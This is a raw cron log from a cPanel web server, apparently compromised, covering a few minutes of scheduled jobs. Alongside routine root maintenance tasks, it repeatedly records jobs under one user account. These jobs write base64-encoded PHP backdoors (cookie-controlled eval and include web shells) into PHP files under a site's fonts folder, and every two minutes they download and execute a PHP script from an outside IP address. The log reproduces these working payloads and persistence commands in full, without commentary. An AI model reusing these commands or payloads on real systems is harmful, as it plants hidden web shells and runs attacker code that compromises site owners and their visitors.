Sep  9 04:47:01 ip-184-168-122-23 CROND[13804]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 04:47:01 ip-184-168-122-23 CROND[13811]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:47:01 ip-184-168-122-23 CROND[13812]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:47:01 ip-184-168-122-23 CROND[13813]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 04:48:01 ip-184-168-122-23 CROND[13904]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:48:01 ip-184-168-122-23 CROND[13906]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 04:48:01 ip-184-168-122-23 CROND[13905]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 04:48:01 ip-184-168-122-23 CROND[13911]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 04:48:01 ip-184-168-122-23 CROND[13912]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:49:01 ip-184-168-122-23 CROND[14023]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 04:49:01 ip-184-168-122-23 CROND[14024]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:49:01 ip-184-168-122-23 CROND[14027]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 04:49:01 ip-184-168-122-23 CROND[14030]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:49:01 ip-184-168-122-23 CROND[14031]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  9 04:50:01 ip-184-168-122-23 CROND[14256]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 04:50:01 ip-184-168-122-23 CROND[14251]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:50:01 ip-184-168-122-23 CROND[14252]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 04:50:01 ip-184-168-122-23 CROND[14261]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 04:50:01 ip-184-168-122-23 CROND[14260]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 04:50:01 ip-184-168-122-23 CROND[14263]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 04:50:01 ip-184-168-122-23 CROND[14262]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 04:50:01 ip-184-168-122-23 CROND[14264]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 04:50:01 ip-184-168-122-23 CROND[14265]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:51:01 ip-184-168-122-23 CROND[14391]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:51:01 ip-184-168-122-23 CROND[14392]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 04:51:01 ip-184-168-122-23 CROND[14394]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 04:51:01 ip-184-168-122-23 CROND[14395]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:52:01 ip-184-168-122-23 CROND[14507]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 04:52:01 ip-184-168-122-23 CROND[14509]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 04:52:01 ip-184-168-122-23 CROND[14510]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:52:01 ip-184-168-122-23 CROND[14511]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:52:01 ip-184-168-122-23 CROND[14512]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 04:53:01 ip-184-168-122-23 CROND[14633]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 04:53:01 ip-184-168-122-23 CROND[14634]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:53:01 ip-184-168-122-23 CROND[14635]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 04:53:01 ip-184-168-122-23 CROND[14637]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:54:01 ip-184-168-122-23 CROND[14771]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 04:54:01 ip-184-168-122-23 CROND[14774]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 04:54:01 ip-184-168-122-23 CROND[14773]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:54:01 ip-184-168-122-23 CROND[14776]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 04:54:01 ip-184-168-122-23 CROND[14778]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:55:01 ip-184-168-122-23 CROND[14897]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 04:55:01 ip-184-168-122-23 CROND[14898]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:55:01 ip-184-168-122-23 CROND[14901]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 04:55:01 ip-184-168-122-23 CROND[14902]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:55:01 ip-184-168-122-23 CROND[14903]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 04:55:01 ip-184-168-122-23 CROND[14906]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 04:56:01 ip-184-168-122-23 CROND[15037]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 04:56:01 ip-184-168-122-23 CROND[15040]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 04:56:01 ip-184-168-122-23 CROND[15039]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 04:56:01 ip-184-168-122-23 CROND[15042]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:56:01 ip-184-168-122-23 CROND[15044]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:57:01 ip-184-168-122-23 CROND[15153]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:57:01 ip-184-168-122-23 CROND[15152]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 04:57:01 ip-184-168-122-23 CROND[15154]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 04:57:01 ip-184-168-122-23 CROND[15155]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:57:01 ip-184-168-122-23 CROND[15156]: (root) CMD ((/usr/local/cpanel/scripts/fix-cpanel-perl; /usr/local/cpanel/scripts/upcp --cron > /dev/null))
Sep  9 04:57:20 ip-184-168-122-23 crontab[15298]: (root) LIST (root)
Sep  9 04:57:20 ip-184-168-122-23 crontab[15301]: (root) LIST (root)
Sep  9 04:57:28 ip-184-168-122-23 crontab[15388]: (root) LIST (root)
Sep  9 04:58:01 ip-184-168-122-23 crond[671]: (*system*) RELOAD (/etc/cron.d/cpanel_ssl_reissue)
Sep  9 04:58:01 ip-184-168-122-23 crond[671]: (aromaskitchen) ORPHAN (no passwd entry)
Sep  9 04:58:01 ip-184-168-122-23 crond[671]: (jonessimon) ORPHAN (no passwd entry)
Sep  9 04:58:01 ip-184-168-122-23 CROND[15612]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:58:01 ip-184-168-122-23 CROND[15610]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:58:01 ip-184-168-122-23 CROND[15611]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 04:58:01 ip-184-168-122-23 CROND[15618]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 04:58:01 ip-184-168-122-23 CROND[15615]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
